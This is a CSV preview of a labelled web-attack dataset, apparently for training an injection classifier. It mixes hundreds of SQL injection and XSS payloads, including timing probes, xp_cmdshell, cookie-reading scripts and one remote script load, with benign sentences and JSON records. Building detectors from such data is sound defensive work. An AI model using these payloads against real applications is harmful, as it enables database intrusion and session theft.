shengqin/web-attacks
1281
1Payload,Label,text_label,ID2"select count ( * ) from sysibm.systables as t1,sys",2,SQLi,213353"""+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NUL",2,SQLi,109724"<marquee onbeforecut=""alert(1)"" contenteditable>te",1,XSS,18385select * from users where id = 1 *1 union select 1,2,SQLi,114516"<cite onkeyup=""alert(1)"" contenteditable>test</cit",1,XSS,179871'+ ( select tnch where 1867 = 1867 or char ( 117 ,2,SQLi,216218"<a href=""\x20javascript:javascript:alert(1)"" id=""f",1,XSS,5069select sleep ( 5 ) and ( ( ( 5552 = 5552,2,SQLi,1507810<i id=x tabindex=1 onfocus=alert(1)></i>,1,XSS,575211"<video onkeypress=""alert(1)"" contenteditable>test<",1,XSS,758812-4610' ) ) or 4144 = ( select upper ( xmltype ( ch,2,SQLi,2035613"-7008' ) ) union all select 9080,9080,9080#",2,SQLi,1947214"<sub onbeforecut=""alert(1)"" contenteditable>test</",1,XSS,322215select dbms_pipe.receive_message ( chr ( 66 ) ||ch,2,SQLi,1227016"1' ) or row ( 1045,7562 ) > ( select count ( * ) ,",2,SQLi,1401617"<strike draggable=""true"" ondragend=""alert(1)"">test",1,XSS,788718"{""id"":null,""firstName"":""Ng"",""lastName"":""Hui"",""spec",0,normal,2728719"<body onmouseleave=""alert(1)"">test</body>",1,XSS,659820"<META HTTP-EQUIV=\""refresh\"" CONTENT=\""0;url=ja",1,XSS,99421<style>:target {transform: rotate(180deg);}</style,1,XSS,4522221'+ ( select 'sppw' where 1677 = 1677 and exp ( ~ ,2,SQLi,1484823"-8734%"" ) or 4493 = utl_inaddr.get_host_address ( ",2,SQLi,1885124"UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--",2,SQLi,1065325"To view a larger version of an image, simply selec",0,normal,2524926"<a href=""\xE2\x80\x81javascript:javascript:alert(1",1,XSS,51427"{""id"":null,""name"":""Binturong""}",0,normal,2703928or 1=1 /*,2,SQLi,1017829<footer onpointermove=alert(1)>XSS</footer>,1,XSS,441630"<dialog onbeforecut=""alert(1)"" contenteditable>tes",1,XSS,542431-2806' ) ) ) or 2724 in ( ( char ( 113 ) +char ( 1,2,SQLi,1579132<i onpointerup=alert(1)>XSS</i>,1,XSS,337933"<marquee onbeforepaste=""alert(1)"" contenteditable>",1,XSS,886634"<html ondblclick=""alert(1)"">test</html>",1,XSS,5818351' or 6793 = ( select 6793 from pg_sleep ( 5 ) ) a,2,SQLi,1382936"{""id"":null,""firstName"":""Manie"",""lastName"":""Villar""",0,normal,2752237"select * from users where id = 1 or 1#""? = 1 or 1 ",2,SQLi,11396381' ) as imgv where 7802 = 7802,2,SQLi,1728239<button onPaste=javascript:alert(1)>,1,XSS,964540Specify criteria where necessary.,0,normal,23476411' waitfor delay '0:0:5' and 'dtej' like 'dtej,2,SQLi,1751342"AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHA",2,SQLi,1071143-2960' or 2163 = 3143--,2,SQLi,1461144-9178' ) or 9779 = 6351,2,SQLi,18816451' ) ) and 2853 = cast ( ( chr ( 113 ) ||chr ( 113,2,SQLi,1313246"UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMA",2,SQLi,1066647"�</form><input type=""date"" onfocus=""alert(",1,XSS,85748"{""id"":null,""name"":""Coredramon (Blue)""}",0,normal,2692649"-8735' ) ) union all select 3262,3262,3262--",2,SQLi,1841750"<noframes onmouseenter=""alert(1)"">test</noframes>",1,XSS,445351"<time onpaste=""alert(1)"" contenteditable>test</tim",1,XSS,521352Select surprise.,0,normal,2472953"<div draggable=""true"" contenteditable>drag me</div",1,XSS,543054"UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1",2,SQLi,1064855"<style>@keyframes x{}</style><code style=""animatio",1,XSS,595656"1"" ) ) as krro where 1050 = 1050 procedure analyse",2,SQLi,1317257"In 1845, however, a statute based on the recommend",0,normal,2602158"<output onpaste=""alert(1)"" contenteditable>test</o",1,XSS,877659"-2602' union all select 5715,5715,5715,5715,5715,5",2,SQLi,1630160"x' AND email IS NULL, --",2,SQLi,1178161"1 or 8384 = like ( 'abcdefg',upper ( hex ( randomb",2,SQLi,2131262-1087 ) where 5787 = 5787 union all select 5787#,2,SQLi,1611863<input4 onpointerout=alert(1)>XSS</input4>,1,XSS,6052641' ) where 6274 = 6274 or 8156 = ( select count ( ,2,SQLi,1901865select,0,normal,2655466"<div draggable=""true"" contenteditable>drag me</div",1,XSS,300467<marquee/onstart=alert()>,1,XSS,115068"and (select substring(@@version,1,1))='X'",2,SQLi,1034269-4972' ) ) as kfzc where 8817 = 8817 union all sel,2,SQLi,1604370"<slot draggable=""true"" ondragleave=""alert(1)"">test",1,XSS,557071"<div draggable=""true"" contenteditable>drag me</div",1,XSS,709172"-9504%"" ) ) or 8098 = 7472",2,SQLi,1801673"<frame onbeforecut=""alert(1)"" contenteditable>test",1,XSS,887074Join the art class to explore your talent.,0,normal,2298275"Previously, you'd need to select each app one by o",0,normal,2576376"1"" ) and 6055 = ctxsys.drithsx.sn ( 6055, ( chr ( ",2,SQLi,1278677"{""id"":null,""firstName"":""Jessie"",""lastName"":""Lin"",""",0,normal,2754578<font id=x tabindex=1 ondeactivate=alert(1)></font,1,XSS,315979select current_database();,2,SQLi,2250180"ABC<div style=""x:\xE2\x80\x85expression(javascript",1,XSS,48381"admin"") or ""1""=""1""/*",2,SQLi,994282`'><script>\xE2\x80\x88javascript:alert(510)</scri,1,XSS,8982831' ) ) as lxjs where 6503 = 6503 procedure analyse,2,SQLi,1950884Select the perfect attire for the occasion.,0,normal,2425085<style>:target {transform: rotate(180deg);}</style,1,XSS,378186"<style>@keyframes x{}</style><table style=""animati",1,XSS,543987Update your style.,0,normal,22821881%' and 2853 = cast ( ( chr ( 113 ) ||chr ( 113 ) ,2,SQLi,1709189"<sub onpaste=""alert(1)"" contenteditable>test</sub>",1,XSS,8800901' ) and 5999 = 5879,2,SQLi,2116291Select the best lens for capturing beauty.,0,normal,2417292( cast ( ( chr ( 113 ) ||chr ( 113 ) ||chr ( 112 ),2,SQLi,1281893"<menuitem onbeforecopy=""alert(1)"" contenteditable>",1,XSS,365294"1"" ) ) ) and updatexml ( 3393,concat ( 0x2e,0x7171",2,SQLi,1991695"1"" ) ) or char ( 68 ) ||char ( 69 ) ||char ( 97 ) ",2,SQLi,1894196<track id=x tabindex=1 onbeforedeactivate=alert(1),1,XSS,531797I'm thinking of where to have a family picnic.,0,normal,2383198"<nextid oncontextmenu=""alert(1)"">test</nextid>",1,XSS,423899/**/or/**/1/**/ = /**/1,2,SQLi,11401100<style>@keyframes x{from {left:0;}to {left: 1000px,1,XSS,3050101<,1,XSS,9773102"{""id"":null,""firstName"":""Ãâ¦Ã ÃÆâÃÆñ"",""lastName"":""",0,normal,27357103<marquee id=x tabindex=1 onbeforeactivate=alert(1),1,XSS,7972104"1"" ) procedure analyse ( extractvalue ( 9627,conca",2,SQLi,15417105"1' ) where 5925 = 5925 union all select null,null,",2,SQLi,19811106"{""id"":null,""firstName"":""Ah Chai"",""lastName"":""Wong""",0,normal,27072107onclick=prompt(8)><svg/onload=prompt(8)>@x.y,1,XSS,345108"UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8",2,SQLi,10786109<legend id=x tabindex=1 onfocusin=alert(1)></legen,1,XSS,6895110<XSS STYLE="behavior: url(http://ha.ckers.,1,XSS,1420111"<wbr oncontextmenu=""alert(1)"">test</wbr>",1,XSS,25791121' and 8594 = ( select 8594 from pg_sleep ( 5 ) ) ,2,SQLi,14365113"<center onclick=""alert(1)"">test</center>",1,XSS,1823114or 1=1/*,2,SQLi,99011151' ) ) ) rlike ( select * from ( select ( sleep ( ,2,SQLi,20797116"1"" ) ) or 5356 = ( select count ( * ) from sysuser",2,SQLi,17883117log,0,normal,23211118"1%"" ) ) or 7552 = ( select count ( * ) from rdb$fi",2,SQLi,15394119"<dir onmouseout=""alert(1)"">test</dir>",1,XSS,7391120"{""id"":null,""firstName"":""Yuen"",""lastName"":""Yun"",""sp",0,normal,27288121"end and ( ( ( ""poee"" = ""poee",2,SQLi,14510122-- &password=,2,SQLi,10147123"<HTML><BODY><?xml:namespace prefix=""t"" ns=""urn:sch",1,XSS,1114124"-5591%"" ) ) order by 1--",2,SQLi,15413125Congratulations to our very own @JulienMid and the,0,normal,26506126Where's the missing remote?,0,normal,22574127"-6945' union all select 5063,5063,5063,5063,5063,5",2,SQLi,171001281' ) ) and 8189 = ( select count ( * ) from sysibm,2,SQLi,12443129"Scroll down and select ""Redeem gift card or promo ",0,normal,25700130<script/src=data:text/j\u0061v\u0061s	,1,XSS,906131<nextid id=x tabindex=1 ondeactivate=alert(1)></ne,1,XSS,4567132"<A HREF=\""htt p://6 6.000146.0x7",1,XSS,10541331' ) ) ) and 6414 = ( select count ( * ) from rdb$,2,SQLi,184321341'+ ( select 'qpxk' where 7139 = 7139 procedure an,2,SQLi,17184135Select previous.,0,normal,24488136<div onpointerenter=alert(1)>XSS</div>,1,XSS,2548137"<param onpaste=""alert(1)"" contenteditable>test</pa",1,XSS,5147138"-4473' ) union all select 7656,7656#",2,SQLi,21123139"1"" ) union all select null,null,null,null,null,nul",2,SQLi,12756140"<style>@keyframes slidein {}</style><small style=""",1,XSS,57831411%' ) ) and ( select 9067 from ( select count ( * ,2,SQLi,14934142select ( case when ( 3539 = 8768 ) then 3539 else ,2,SQLi,21698143-4960' ) union all select 5300--,2,SQLi,13525144"1 ) ) union all select null,null,null--",2,SQLi,15567145Select your favorite song.,0,normal,22583146`'><script>\xE2\x80\x86javascript:alert(533)</scri,1,XSS,89801471'+ ( select ntym where 4750 = 4750,2,SQLi,22469148"<dd ondblclick=""alert(1)"">test</dd>",1,XSS,6656149"UNION SELECT @@VERSION,SLEEP(5),USER(),4#",2,SQLi,10623150-4331 ) as inpx where 9804 = 9804 union all select,2,SQLi,15468151"-4068' ) ) ) union all select 9491,9491,9491--",2,SQLi,16554152"1"" ) and 4386 = utl_inaddr.get_host_address ( chr ",2,SQLi,17404153Select your alternate.,0,normal,25044154"1' ) or 8466 = benchmark ( 5000000,md5 ( 0x694a474",2,SQLi,12761155"-6368' union all select 6529,6529,6529--",2,SQLi,14812156"<data onbeforepaste=""alert(1)"" contenteditable>tes",1,XSS,8911157<plaintext id=x tabindex=1 onfocus=alert(1)></plai,1,XSS,2796158�script�alert(�XSS�)�/script�,1,XSS,1731159"<sup onkeydown=""alert(1)"" contenteditable>test</su",1,XSS,6695160"-9145%' ) ) ) or make_set ( 9017 = 9368,9368 ) and",2,SQLi,13960161"1' ) ) union all select null,null,null,null,null,n",2,SQLi,18763162"select * from users where id = 1 or @#""{ = 1 or 1 ",2,SQLi,12026163He selected a song to play during the ceremony.,0,normal,238541641 ) as hlcn where 1165 = 1165 rlike ( select * fro,2,SQLi,13064165"-3361 where 1335 = 1335 or elt ( 5891 = 5092,5092 ",2,SQLi,15476166FALSE,0,normal,23240167<del onpointerleave=alert(1)>XSS</del>,1,XSS,5998168<video onpointerdown=alert(1)>XSS</video>,1,XSS,8678169"<noembed onpaste=""alert(1)"" contenteditable>test</",1,XSS,4445170"1 ) union all select null,null#",2,SQLi,19482171"{""id"":null,""name"":""Skarmory""}",0,normal,26987172<body onafterprint=alert(1)>,1,XSS,48173"<style onLoad style onLoad=""javascript:javascript:",1,XSS,386174"<option onclick=""alert(1)"">test</option>",1,XSS,3693175"<style>@keyframes slidein {}</style><pre style=""an",1,XSS,6915176<style>:target {color:red;}</style><samp id=x styl,1,XSS,8357177UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,SQLi,10744178<xss onpointerout=alert(1) style=display:block>XSS,1,XSS,91179select pg_sleep ( 5 ) and ( ( 'vxxg' = 'vxxg,2,SQLi,15151180end and ( ( 6874 = 6874,2,SQLi,14081181Select a scent for the candle.,0,normal,24001182( select * from ( select ( sleep ( 5 ) ) ) srmq ) ,2,SQLi,16644183"{""id"":null,""firstName"":""Aini"",""lastName"":""Md Yusof",0,normal,27152184"<picture onbeforecut=""alert(1)"" contenteditable>te",1,XSS,43541851'+ ( select rdwb where 2498 = 2498 and 3429 = 763,2,SQLi,172371861 ) ) as cusv where 4871 = 4871 and elt ( 1210 = 1,2,SQLi,12787187"<style>@keyframes slidein {}</style><input style=""",1,XSS,70501881' ) ) and ( 7517 = 3423 ) *3423 and ( ( 'aenz' = ,2,SQLi,21235189"-2314"" ) ) or make_set ( 9354 = 9354,7185 ) and ( ",2,SQLi,18554190"<noframes oncopy=""alert(1)"" contenteditable>test</",1,XSS,8462191"1"" ) ) ) and char ( 107 ) ||char ( 121 ) ||char ( ",2,SQLi,18840192"1"" ) ) ) rlike ( select * from ( select ( sleep ( ",2,SQLi,19104193<style>:target {transform: rotate(180deg);}</style,1,XSS,5366194"1%"" and 9198 = 9198--",2,SQLi,14375195"{""id"":null,""firstName"":""Jerome"",""lastName"":""Tan"",""",0,normal,27564196"{""id"":null,""firstName"":""Sakinah"",""lastName"":""Ali"",",0,normal,27101197"1%' ) ) ) or row ( 1045,7562 ) > ( select count ( ",2,SQLi,122331981' ) ) and 7533 = 7533 and ( ( 'pagc' like 'pagc,2,SQLi,18284199<script\x00>javascript:alert(1)</script>,1,XSS,607200In choosing his collaborators his principle was ne,0,normal,26012201Where's the ski resort?,0,normal,23609202-3136%' ) or 3400 = 6002,2,SQLi,18989203Up to 20% off select Sun Joe Outdoor Power Equipme,0,normal,252202041' ) ) as wdor where 7426 = 7426,2,SQLi,19839205Create a captivating story.,0,normal,22626206"1%"" and 2388 = benchmark ( 5000000,md5 ( 0x6d45715",2,SQLi,12304207"<area onbeforecut=""alert(1)"" contenteditable>test<",1,XSS,8679208"<bdi onmousemove=""alert(1)"">test</bdi>",1,XSS,3727209""" ) ) ;waitfor delay '0:0:__TIME__'--",2,SQLi,11986210"<textarea draggable=""true"" ondragstart=""alert(1)"">",1,XSS,2783211"<sub onbeforecopy=""alert(1)"" contenteditable>test<",1,XSS,28582121'|| ( select 'dajl' from dual where 8440 = 8440,2,SQLi,14801213"1',iif ( 4861 = 6268,1,1/0 )",2,SQLi,21950214"1"" ) ) as dshc where 9911 = 9911 or 1022 = ( selec",2,SQLi,14342215"<html onMouseDown html onMouseDown=""javascript:jav",1,XSS,397216"1 and make_set ( 8403 = 8403,8899 )",2,SQLi,148892171' where 4795 = 4795 and 4595 = 4595#,2,SQLi,124642181' ) ) and ( select * from ( select ( sleep ( 5 ) ,2,SQLi,15832219"{""id"":null,""name"":""Clefairy""}",0,normal,27548220"-9829' ) ) ) or 1 group by concat ( 0x7171706a71, ",2,SQLi,178812211' ) where 1363 = 1363,2,SQLi,12559222"1 where 8045 = 8045 union all select null,null,nul",2,SQLi,15986223-2516 ) where 3349 = 3349 or 4855 = 1806--,2,SQLi,21866224<label onpointerdown=alert(1)>XSS</label>,1,XSS,37012251' and exp ( ~ ( select * from ( select concat ( 0,2,SQLi,15282226-9668' ) ) as orfu where 5822 = 5822 or 2724 in ( ,2,SQLi,137172271'|| ( select 'sned' where 4957 = 4957 and 9254 = ,2,SQLi,15043228( select * from ( select ( sleep ( 5 ) ) ) srmq ) ,2,SQLi,217082291' where 7828 = 7828 or 4240 = ( select 4240 from ,2,SQLi,15914230"<!--#exec cmd=""/bin/echo '<SCR'""--><!--#exec cmd=""",1,XSS,301231The chain's also testing out some new drinks in se,0,normal,25477232"<ul draggable=""true"" ondragleave=""alert(1)"">test</",1,XSS,4683233"Ebates, mentioned above, gives you a percentage of",0,normal,26217234"or 1""=""1""/*",2,SQLi,9989235"<menu draggable=""true"" ondragstart=""alert(1)"">test",1,XSS,7557236where,0,normal,26528237select ( case when ( 4572 = 4086 ) then 1 else 457,2,SQLi,13097238"<table onkeydown=""alert(1)"" contenteditable>test</",1,XSS,4396239"<xmp onclick=""alert(1)"">test</xmp>",1,XSS,6951240They select top candidates.,0,normal,24435241"-7845' union all select 9574,9574,9574,9574,9574,9",2,SQLi,14079242<STYLE>@import'%(css)s';</STYLE>,1,XSS,753243"<SCRIPT/SRC=""%(jscript)s""></SCRIPT>",1,XSS,742244Filter the bright photos.,0,normal,226352451 ) ) and 8189 = ( select count ( * ) from sysibm.,2,SQLi,18744246"When you select bath towels, consider the color an",0,normal,25146247"{""id"":null,""firstName"":""Elisa"",""lastName"":""Mak"",""s",0,normal,26990248"<footer onmouseleave=""alert(1)"">test</footer>",1,XSS,7356249"1"" ) ) as wnzf where 3352 = 3352 or char ( 117 ) |",2,SQLi,15744250"x=""",alert(1)//"";",1,XSS,9400251"ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,",2,SQLi,104262521 ) ) as vzso where 8541 = 8541 or ( select 2* ( i,2,SQLi,183352531,0,normal,26647254"{""id"":14217,""firstName"":""jmeter"",""lastName"":""jmete",0,normal,26810255"-2717"" or 1 group by concat ( 0x7171706a71, ( sele",2,SQLi,19227256"{""id"":null,""name"":""Peckmon""}",0,normal,26952257Where's the canyon?,0,normal,23522258-7194'|| ( select 'gbrx' from dual where 6205 = 62,2,SQLi,15247259"<IFRAME SRC=""javascript:document.vulnerable=true;""",1,XSS,1500260Supreme Court Justice Antonin Scalia has given som,0,normal,25512261select,0,normal,26553262"-9408%"" ) ) union all select 1841,1841,1841,1841,1",2,SQLi,22331263select * from users where id = 1 or $+<1 union sel,2,SQLi,11477264"1%' ) union all select null,null,null,null#",2,SQLi,153442651' ) ) as xirr where 2425 = 2425,2,SQLi,186582661 ) ) as zdbj where 2300 = 2300 ( select ( case wh,2,SQLi,147922671 and 9198 = 9198--,2,SQLi,18358268"`""'><img src=xxx:x \x27onerror=javascript:alert(1)",1,XSS,554269-2679' ) ) ) or 4747 = dbms_utility.sqlid_to_sqlha,2,SQLi,20169270"1"" ) where 4520 = 4520",2,SQLi,21762271"1%"" and row ( 6237,7469 ) > ( select count ( * ) ,",2,SQLi,14124272"1"" ) and 3202 = like ( 'abcdefg',upper ( hex ( ran",2,SQLi,13575273"UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMA",2,SQLi,10678274"In either theory, conscience may be understood as ",0,normal,26010275"end and ( ( ""%"" = """,2,SQLi,12415276<discard onpointerout=alert(1)>XSS</discard>,1,XSS,8244277"A select few, however, don't waste their time with",0,normal,264182781 where 3175 = 3175 or 8421 = ( select count ( * ),2,SQLi,18472279onmouseover%3dprompt(941634),1,XSS,9742280-4085'+ ( select aipn where 5493 = 5493 union all ,2,SQLi,12976281"<script oncut=""alert(1)"" contenteditable>test</scr",1,XSS,2701282"1"" and 6537 = dbms_pipe.receive_message ( chr ( 76",2,SQLi,21118283><script src=//brutelogic.com.br/1.js#,1,XSS,9684284"<code onpaste=""alert(1)"" contenteditable>test</cod",1,XSS,5009285"1%"" ) ) or row ( 1045,7562 ) > ( select count ( * ",2,SQLi,16575286Randomly select a wedding favor.,0,normal,24405287<tfoot onpointerenter=alert(1)>XSS</tfoot>,1,XSS,6463288"<img\x47src=x onerror=""javascript:alert(1)"">",1,XSS,656289<style>:target {color: red;}</style><td id=x style,1,XSS,2955290<figcaption onpointermove=alert(1)>XSS</figcaption,1,XSS,3583291Select the optimal temperature for comfort.,0,normal,24042292"1%"" and 5556 = ( select count ( * ) from all_users",2,SQLi,15113293"1' ) where 7640 = 7640 and make_set ( 8978 = 8594,",2,SQLi,14940294"<frame onmouseover=""alert(1)"">test</frame>",1,XSS,7412295"1' ) ) ) and elt ( 4249 = 4249,7259 ) and ( ( ( 'u",2,SQLi,16045296<style>:target {color:red;}</style><listing id=x s,1,XSS,4755297"<head draggable=""true"" ondragenter=""alert(1)"">test",1,XSS,3405298"<style>@keyframes x{}</style><noframes style=""anim",1,XSS,6451299<img src=xss onerror=alert(1)>,1,XSS,929300He decided to join the yoga class next week.,0,normal,22904301"{""id"":null,""firstName"":""Boon"",""lastName"":""Lee"",""sp",0,normal,26847302"{""id"":null,""firstName"":""Ong"",""lastName"":""Guang"",""a",0,normal,268893031 ) or 6793 = ( select 6793 from pg_sleep ( 5 ) ) ,2,SQLi,15680304"{""id"":null,""name"":""leader""}",0,normal,27062305ORDER BY 4#,2,SQLi,10277306"ABC<div style=""x:\xEF\xBB\xBFexpression(javascript",1,XSS,477307"-5322"" union all select 6494,6494,6494,6494,6494,6",2,SQLi,18479308select,0,normal,26570309; exec master..xp_cmdshell 'ping 172.10.1.255'--,2,SQLi,10094310"<style>@keyframes x{}</style><caption style=""anima",1,XSS,3658311<audio id=x tabindex=1 onbeforedeactivate=alert(1),1,XSS,7484312"1"" ) where 2873 = 2873 or 7417 = ( select count ( ",2,SQLi,20637313"<div draggable=""true"" contenteditable>drag me</div",1,XSS,5037314Insert your contact information in the form.,0,normal,22922315"{""id"":null,""firstName"":""Sheryl"",""lastName"":""Lee"",""",0,normal,27273316"iif ( 1718 = 5436,1,1/0 )",2,SQLi,20951317"1"" ) where 7578 = 7578 and 6414 = ( select count (",2,SQLi,16466318Sort results where necessary.,0,normal,23327319"-2048 ) ) union all select 7054,7054,7054,7054,705",2,SQLi,14474320Note: The additional savings is only good for sele,0,normal,258643211'|| ( select 'xsoq' from dual where 6690 = 6690 a,2,SQLi,14374322<input onpointermove=alert(1)>XSS</input>,1,XSS,1920323Open Settings on your iPhone or iPad Search for th,0,normal,25815324"<progress onmousemove=""alert(1)"">test</progress>",1,XSS,7810325"-9937' ) ) union all select 3900,3900,3900,3900,39",2,SQLi,19740326"1"" and 3707 = ( select count ( * ) from sysibm.sys",2,SQLi,17514327"-7528' or make_set ( 3809 = 1821,1821 ) and 'kgch'",2,SQLi,14698328<style>@keyframes x{from {left:0;}to {left: 1000px,1,XSS,8646329<input2 onpointerover=alert(1)>XSS</input2>,1,XSS,62353301' ) ) ) and 6537 = dbms_pipe.receive_message ( ch,2,SQLi,12474331"{""id"":null,""name"":""paint itself""}",0,normal,27592332"-6155%' ) ) union all select 2421,2421,2421,2421,2",2,SQLi,18890333<IMG SRC=javascript:javascript:alert(1)>,1,XSS,7343341' ) as cgsz where 7194 = 7194 and extractvalue ( ,2,SQLi,15950335"1"" or 6979 = like ( 'abcdefg',upper ( hex ( random",2,SQLi,14881336"<iframe onkeydown=""alert(1)"" contenteditable>test<",1,XSS,8302337AND 7506=9091 AND (5913=5913,2,SQLi,10224338I'm considering where to take a photography class.,0,normal,23884339( select ( case when ( 3592 = 3592 ) then 3592 els,2,SQLi,15661340"1"" ) ) and elt ( 6553 = 4771,4771 ) and ( ( ""eolu""",2,SQLi,16369341") AND ELT(1337=1337,SLEEP(5))-- 1337",2,SQLi,11246342"1%' ) ) and updatexml ( 3393,concat ( 0x2e,0x71717",2,SQLi,21811343<b onpointerleave=alert(1)>XSS</b>,1,XSS,3482344OR x=y--,2,SQLi,10208345Select goods.,0,normal,24555346"<option draggable=""true"" ondragenter=""alert(1)"">te",1,XSS,8117347"1' ) ) ) union all select null,null,null,null#",2,SQLi,20041348"""+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NUL",2,SQLi,10983349Where's the chiropractor?,0,normal,23631350select case when 3995 = 8680 then 1 else null end-,2,SQLi,21848351"On the top right, select the cog wheel (""Settings""",0,normal,25837352"1' ) as tygi where 9891 = 9891 and row ( 6237,7469",2,SQLi,17038353"-5672%"" or 3825 = 9675--",2,SQLi,13520354"1"" ) ) as ogzn where 6849 = 6849 and 3580 = ( sele",2,SQLi,14794355The extraordinary patience requisite to a successf,0,normal,25452356<svg><noembed onload=alert(1)></noembed>,1,XSS,7207357Modify the privacy controls.,0,normal,22744358-2452' ) ) ) union all select 1951--,2,SQLi,14428359That's why I select places like Washington Heights,0,normal,25489360"<u onclick=""alert(1)"">test</u>",1,XSS,3637361They can't select where these features populate on,0,normal,25314362<kbd id=x tabindex=1 onbeforedeactivate=alert(1)><,1,XSS,2508363<data id=x tabindex=1 onbeforeactivate=alert(1)></,1,XSS,7342364Delete the cookies.,0,normal,22858365"<tbody onpaste=""alert(1)"" contenteditable>test</tb",1,XSS,2921366"<colgroup draggable=""true"" ondragend=""alert(1)"">te",1,XSS,2786367Modify the privacy policy for compliance.,0,normal,22981368"<datalist oncut=""alert(1)"" contenteditable>test</d",1,XSS,35293691' ) where 6842 = 6842,2,SQLi,185293701' or 8421 = ( select count ( * ) from generate_se,2,SQLi,17506371"<div draggable=""true"" contenteditable>drag me</div",1,XSS,8877372<style>:target {transform: rotate(180deg);}</style,1,XSS,5321373"{""id"":null,""name"":""Gible""}",0,normal,274173741' where 9420 = 9420 and 8189 = ( select count ( *,2,SQLi,16203375<strike id=x tabindex=1 onbeforedeactivate=alert(1,1,XSS,5262376") WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 13",2,SQLi,11260377select * from users where id = '1' *1 union select,2,SQLi,12031378waitfor delay '0:0:5' and ( ( 'yjsp' like 'yjsp,2,SQLi,16501379"-6496"" ) as obnf where 2903 = 2903 or make_set ( 9",2,SQLi,14941380"1"" ) ) ) or updatexml ( 1808,concat ( 0x2e,0x71717",2,SQLi,12915381<img/src=@  onerror = prompt('1'),1,XSS,853382"1' ) procedure analyse ( extractvalue ( 5840,conca",2,SQLi,12662383"<col ondblclick=""alert(1)"">test</col>",1,XSS,7715384<svg><picture onload=alert(1)></picture>,1,XSS,6718385or 'x'='x,2,SQLi,9892386"1%"" ) ) rlike ( select ( case when ( 7689 = 7689 )",2,SQLi,13311387<animatetransform onpointerover=alert(1)>XSS</anim,1,XSS,2494388"-7746' ) union all select 1998,1998,1998,1998,1998",2,SQLi,14909389"{""id"":null,""name"":""railroad""}",0,normal,27299390"<style>@keyframes slidein {}</style><a style=""anim",1,XSS,3572391-8684' where 9820 = 9820 or 6844 = 5105,2,SQLi,15871392"<bgsound onclick=""alert(1)"">test</bgsound>",1,XSS,2949393"-1598 ) ) ) union all select 9418,9418,9418,9418,9",2,SQLi,16724394Modify the account information.,0,normal,227093951' ) or sleep ( 5 ),2,SQLi,15012396But the fibre produced by these rapid and economic,0,normal,26305397A look at select films screening at the Sundance F,0,normal,26437398"select count ( * ) from domain.domains as t1,domai",2,SQLi,16601399<bdo onpointerdown=alert(1)>XSS</bdo>,1,XSS,1881400Where did you find that charming café?,0,normal,23770401"select count ( * ) from all_users t1,all_users t2,",2,SQLi,189784021 where 7051 = 7051 or 4411 = ( select count ( * ),2,SQLi,123054031%' and 1736 = 4220,2,SQLi,14697404"-1917"" ) or 8571 = 8571--",2,SQLi,15604405"Simply add the items you want, select the most app",0,normal,25551406"<div draggable=""true"" contenteditable>drag me</div",1,XSS,7491407[color=red width=expression(alert(123))][color],1,XSS,1323408AND 1 = utl_inaddr.get_host_address ( ( SELECT COU,2,SQLi,12037409"<div draggable=""true"" contenteditable>drag me</div",1,XSS,1749410<style>:target {transform: rotate(180deg);}</style,1,XSS,81494111,0,normal,26681412<image id=x tabindex=1 onbeforedeactivate=alert(1),1,XSS,6750413-1602' or 3038 = 3038,2,SQLi,176274141'+ ( select vlut where 9517 = 9517 union all sele,2,SQLi,13294415"1' ) where 9091 = 9091 union all select null,null,",2,SQLi,19156416"-5898"" ) ) as fycd where 7135 = 7135 or 1570 = con",2,SQLi,217234171%' ) ) ) and 6969 = ( select 6969 from pg_sleep (,2,SQLi,181734181'+ ( select 'iify' where 6257 = 6257 or 6793 = ( ,2,SQLi,163364191' ) ) ) and 3754 = ( select upper ( xmltype ( chr,2,SQLi,22309420Create a unique sculpture.,0,normal,22684421""",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20",2,SQLi,108844221 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- ,2,SQLi,11173423select * from users where id = 1 <@$_ or 1 = 1 -- ,2,SQLi,118154241 ) ) and 9198 = 9198--,2,SQLi,17310425<style>:target {color: red;}</style><a id=x style=,1,XSS,32714261'+ ( select vohg where 6383 = 6383 and 6055 = ctx,2,SQLi,20670427"<u oncut=""alert(1)"" contenteditable>test</u>",1,XSS,28144281' ) ) ) and 9198 = 9198--,2,SQLi,19837429"document.getElementsByClassName(""example"")",1,XSS,3689430"1"" union all select null,null,null#",2,SQLi,13122431) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AN,2,SQLi,11191432"1 union all select null,null,null,null,null,null,n",2,SQLi,12589433"1"" where 5927 = 5927",2,SQLi,22333434<style onreadystatechange=alert(1)></style>,1,XSS,8745435"According to 9to5Mac, here's how to solve your pro",0,normal,26413436"select count ( * ) from rdb$fields as t1,rdb$types",2,SQLi,13562437<img2 onpointerup=alert(1)>XSS</img2>,1,XSS,4128438"-9858"" or 8592 = 8553",2,SQLi,167134391 ) as ezje where 5234 = 5234 and make_set ( 8403 ,2,SQLi,21107440"1' or 8466 = benchmark ( 5000000,md5 ( 0x694a4745 ",2,SQLi,142784411'+ ( select 'ixza' where 4374 = 4374 union all se,2,SQLi,21189442â><<script>alert(document.cookie);//<</script>,1,XSS,1135443"<basefont onmouseleave=""alert(1)"">test</basefont>",1,XSS,5291444"UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMA",2,SQLi,10659445"<var draggable=""true"" ondragstart=""alert(1)"">test<",1,XSS,5963446Try our homemade Greek yogurt on organic muesli or,0,normal,25234447select ( case when ( 9455 = 6007 ) then 9455 else ,2,SQLi,12323448"<div oncontextmenu=""alert(1)"">test</div>",1,XSS,7470449"select count ( * ) from generate_series ( 1,500000",2,SQLi,21806450`'><script>\xC2\xA0javascript:alert(537)</script>,1,XSS,8975451"-3364%"" ) ) ) union all select 5464--",2,SQLi,13013452"admin"" ) or ""1"" = ""1",2,SQLi,11601453-2820' ) ) or 6679 = 8848--,2,SQLi,17825454"1' union all select null,null,null,null,null,null,",2,SQLi,18879455admin' or 1 = 1,2,SQLi,11669456"<cite 